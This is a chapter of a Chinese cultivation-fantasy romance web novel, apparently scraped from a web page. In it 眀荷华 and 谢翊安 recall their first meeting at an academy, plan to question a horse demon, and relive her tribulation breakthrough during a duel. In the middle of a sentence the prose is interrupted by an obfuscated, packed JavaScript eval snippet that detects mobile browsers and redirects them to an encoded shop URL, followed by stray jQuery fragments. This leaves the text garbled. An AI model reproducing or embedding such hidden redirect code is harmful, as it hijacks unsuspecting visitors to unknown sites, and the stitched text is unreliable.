这话问得突兀。
他眼底的情绪也复杂难辨。
眀荷华撞进这双琥珀色的眼眸时,下意识避开了视线,只是不合时宜地想:
不知道有没有人跟谢翊安说过,他的眼睛很漂亮。
至少能让她一下就回忆起当初见到他的第一眼。
……
“你听说了吗?这届新生里竟然有太虚宗首徒!”
“他们不是一向自诩第一宗吗,竟然也会来咱们小小麓山?”
“笑死,自从招生名额开放之后,世家和宗门都快把麓山渗成筛子了好吧。话说,这位首徒实力如何?”
“他是剑修,应该挺能打的。不过嘛,我听到的是其他消息。据说他其实是太虚宗宗主的私生子,不知道他母亲是谁……”
“抛开这个不谈,人家的确是修真界近年来声名鹊起的少年天才吧,长得也好看,而且性格温柔不骄不躁的……”
通过考核后,眀荷华就晃悠悠地进来了。
照理说这个时间点,学院还没有录入她的通灵玉信息,不过由于她的姿态太自然,从容得像在自己家一样,所以也没有人拦她。
太虚宗?剑修?
她回忆了下,确认自己考核过程中没有见到这个人。
倒是听说过一场精彩的比斗,有名剑修面对围殴时游刃有余,一人一剑,穿梭于各修士之间。众人还没反应过来的时候,他就已经集齐有效得分点了。
原来他早已料到其他人的策略,反而趁对方商讨的时候打了他们一个措手不及,成为本届最快通过考核的人。
想来估计就是这位太虚宗首徒。
不过这么堂而皇之地议论人家真的不怕被抓包吗?
眀荷华心想,太虚宗这次也来了不少人吧。
这想法还没落下,先前走过去的几位学子们就如同齐齐消音了般,随即一道不悦的质问声响起:“诸位是在议论我太虚首徒师兄吗?”
眀荷华往后看了一眼,发现一群青衣修士面色不善地拦住了他们。
麓山书院早在此世之初就存在,它源远流长,揽尽天下藏书;各类功法秘籍,无一不有。
这里也松散,来去随意,讲究公平和自由,所以早些年是不爱收世家宗门子弟的。
近两届进行改革后,明显各大宗都派出了自家子弟前来修行,而书院内的一部分学生却还没适应这种变化。
眀荷华没有兴趣看他们争吵,瞥了两眼之后又往东面僻静处走了。
书院内部别有洞天,穿过景色优美、灵气充盈的主峰,眼前赫然是另外的八峰,比一些大宗门的地域还要辽阔。
这里有连通天上地下,共一百九十八层的藏书阁;有据传是书院创始人剑意所化、万剑归山的洗剑峰;有远古混战时期、大庇天下寒士的抱朴草庐……
还有……
一名同刚刚太虚宗众人穿着一样的、雪青色长衣的男修。
他屹立于苍葱碧色之间,身后的瀑布倒悬而下,无声奔流。
山风拂过衣袂,如流云翻卷。
在这被世界遗忘的一角,天地间仿佛只剩下他们两人。
于是眀荷华挑眉定定地望着这一幕。
他站的位置太好,阳光正好能照亮他的侧脸;他拿着通灵玉说了什么,长身玉立,唇角含笑。
嗓音清润,语气也温和。
似乎是结束了对话,放下通灵玉,转身之际与她对上眼神的下一刻——
又流露出的一种没来得及防备的、冰冷的寂寥。
随后对方微怔,收敛了情绪,彻底离开。
……
这印象太深刻,以至于不管之后再见多少次,心底情绪如何变,眀荷华对谢翊安的第一印象始终都是这一幕的惊艳。
她沉默了太久,谢翊安以为没有答复便是她的回答,于是闭了闭眼,不想再继续这个话题:“我……”
谁料却被轻声打断:“那还是不一样的。”
“……”
谢翊安长睫很轻很轻地颤了一下,瞳孔极为滞涩地转向声音来源。
他的动作慢得令人心悸,仿佛是个生锈的轮轴,而不再是那个疏离冷漠的利落剑修。
他看着她,轻描淡写的眀荷华,似春风,似夏荷,永远锐意沉静的眀荷华。
……是不一样的么?
眀荷华下意识地不想剖析这件事,所以她只是绕过了这一段,继续谈论秘境:
“如果城主是不可信的,那么他们那一派的郭家、乾元宗,都要持保留态度。”
说着,她像是想到了什么,皱了皱眉:“还有那个叶知谦。”
“好。”良久,谢翊安终于回话,“那我们接下来去哪里?”
他隐约猜到一些对方的想法。
“去找一只马妖。”眀荷华起身,“我们从妖的身份入手查。”
-
这是一家小酒馆。
褪色的酒旗在风中懒洋洋地摇晃,此刻人不算多,店老板的眼皮耷拉下来,半醒不醒的模样。
旁边果然有一只伤痕累累的马妖,在吃着分不清原料的糊状物。
“这也是昨天看到的吗?”谢翊安静静地问。
“对。”眀荷华终于把自己的符笔拿出来了,她身上没有多余的隐身符了,得现画两道。
乌命好容易被放出来悬在空中,笔尖的毛都炸了,看着怨气冲天的样子。
“帮我画两个隐身符。”眀荷华吩咐道,顺便还冲旁边解释了一句,“我得在那边布个隔音阵。”
谢翊安看着她的本命法宝,微微眯起眼睛。
他知道这是一支有器灵的笔。
修真界各类器物分法器、灵器、仙器三个阶段,每阶段又分初阶、中阶、高阶三个标准。只有高阶灵器和仙器,才有资格生出器灵。
但无论眀荷华的这支笔是灵器还是仙器,她都显然认识一位境界不低的炼器大师。
乌命只停顿两秒,就接受了现实,任劳任怨地开始干活,很快笔尖过处便在空中流淌着润泽的光芒。
然而谢翊安观察的却是它通体乌黑的笔身,仿佛内蕴灵气,绝非凡物。
学院没人查得到眀荷华的来历,她似乎不属于任何一个宗门大派。
“你想帮他?”谢翊安淡淡道。
单纯谈个话不至于用上隔音阵,除非她还想做什么。
“正好看到。”眀荷华边忙边道,“如果我没看到的话也不会管,既然看到了就顺便问一问他想不想走咯。”
她看起来并未把这当成一件重要的事,或许只是认为既然要向马妖打探消息,那么就顺手帮对方一个忙,被拒绝了也没关系。
又是这种毫不在意、置身事外的态度。
那你呢,眀荷华?谢翊安想。
你是什么样的人?又会在意什么样的事?
……
他想起遇见她的第一面。
麓山的教育宗旨就是因材施教,不同流派又分不同的学院。他们这一届进来的,每个院的榜首基本都心中有数。
唯独眀荷华惊才绝艳,横空出世般,爆冷胜过了阵门世家的司徒邈,而她本人甚至只是一个别院的、偶尔来阵道学院闲逛的旁听生。
司徒邈当面言笑晏晏、不甚计较的模样,可第二天眀荷华就收到了高年级阵修的挑战书。
书院四个年级,待满四十年一般就算出山了。除了影响特别恶劣的,麓山其实也不太管个人私斗。
只是高年级很少会向低年级发起这种比斗,尤其眀荷华当时才六境,而对面阵修已然八境了。
一时间各院议论纷纷。
“什么意思?何余上赶着巴结司徒家?还是那位司徒家的小少爷输不起啊?”
“这境界相差也太大了,欺负人呢!”
“就是,六境之上进一境都难如登天,有的人一生都停在六境。更不用说八境已经相当接近九境,搞不好未来冲个圣者境都有可能!”
所有人都以为眀荷华会拒绝。
然而出乎意料的是,她接下了。
是受到了威胁?还是被骚扰得烦不甚烦?
谢
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092968|195519||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
翊安不得而知。
他们约在学院外荒僻的青城山上,当时还有很多人去围观。但谢翊安那会儿不感兴趣,所以他没看到前半程。
还是汪樾把他拉出来凑热闹:“别干活了,你都快发霉了。”
谢翊安凉凉瞥了他一眼:“去哪儿?”
这人不着调地笑了笑:“去看生死斗呗。”
“生死斗?”
“本来不是的,好像那个高年级耍诈,又埋伏又临时改契约,多大仇多大怨呐。”
于是他们来到青城山下。
这场不死不休的挑战已经进行了一天一夜,地面焦黑龟裂,周围全是阵纹残骸,场中一站一坐,似乎坐着的那个已经是强弩之末。
谢翊安认为胜负已分,有些无趣:“结束了吧?”
台上的何余显然也这么认为,他居高临下地发表着获胜感言:“原本我是不想杀你的。”
“可惜……”他藏下了眸中深深的忌惮之色。
可惜自己在这个年纪,竟然远远不如这等无名小卒!趁着讨好司徒家的机会,正好扼杀了一个还没成长起来的天才,真是妙极!
要怪只能怪她自己蠢吧,行事张扬,傲慢无礼,才落得今天的下场!
这么想着,他心底不由感到一阵扭曲的畅快。
“呵。”
然而眀荷华只是笑了一声,看了看天色,不见丝毫慌张神态。明明处于弱势,抬眼看人的时候却平静无比。
何余敏锐地察觉到一丝古怪,还没来得及深思,便感到天空几乎顷刻便乌云密布,隐隐有雷霆之势。
他瞬间便意识到什么,面色大变:“你……”
谢翊安也凝眉望天,这时候才提起些兴致来——
这女修竟想在此渡劫。
时下分九境,九境之上是圣者。但每逢三境,六境,九境,此时进阶的天雷与劫云都是威力巨大的,一个搞不好就会死无葬身之地。
尤其这女修才和人打了一场,现下又毫无准备,怎么看都是自寻死路。
在场观战的其他人也都吓了一跳,胆小的麻溜地跑了,只留下胆大的还在围观。
“你这个疯子!”何余这时候以为眀荷华想跟自己同归于尽,因为他发觉脚下不知道什么时候被布下了困阵,自己走不了了。
但他心中还是有些底的,自己好说歹说也是个八境,六境的雷云也不是没经历过。
眀荷华这时候才缓缓站起来,她唇边溢出了一丝鲜血,笑容却灿烂而炽烈:“还要多谢你,我正愁没机会进阶。”
一挥手,漫天飞舞的符箓燃烧碎裂,犹如一只只涅槃而生的火凤,照亮了乌压压的天空。
这场景瑰丽又绚烂,全场的人几乎都被吸引了目光,谢翊安也不例外。
然后他怔怔看到一双粲然的眼。
明明该在生死之际拼命挣扎,却淡然无畏。
是与天争锋、桀骜自信的少年心气,是永不退却、永不服输的蓬勃生命力。
也是直击灵魂深处、引起强烈震颤的冲击。
眀荷华往人群中望了一眼,不期然看见了谢翊安。
他也来凑热闹?眀荷华扬眉。
然而时间轮不得她多想,第一轮雷鸣轰然炸开。
“轰——”
仿佛九天之上的咆哮叩问,浓云翻滚吞噬着世间所有色彩,雷柱倾泻而下。
狂风呼啸哀嚎,带着碾碎一切的冰冷,连山脊都在颤抖。
围观者已经有发现不对的了:“这,这不是六境吧?!”
这架势,这劫云,跟要开天辟地似的!
不知道的还以为什么神兵仙器出世了!
何余早在天色黑下来时就布阵抵挡了,这次还将耗费了他一个中阶灵器,此刻他正无比怨恨地瞪着眀荷华——
对面那人却只是隔空绘阵,又露出了那种他最讨厌的天之骄子的神色:
“我既然敢接下你的战书,就是有必胜的把握。趁现在传音给司徒家还来得及,有什么埋伏什么手段——”
“尽管来。”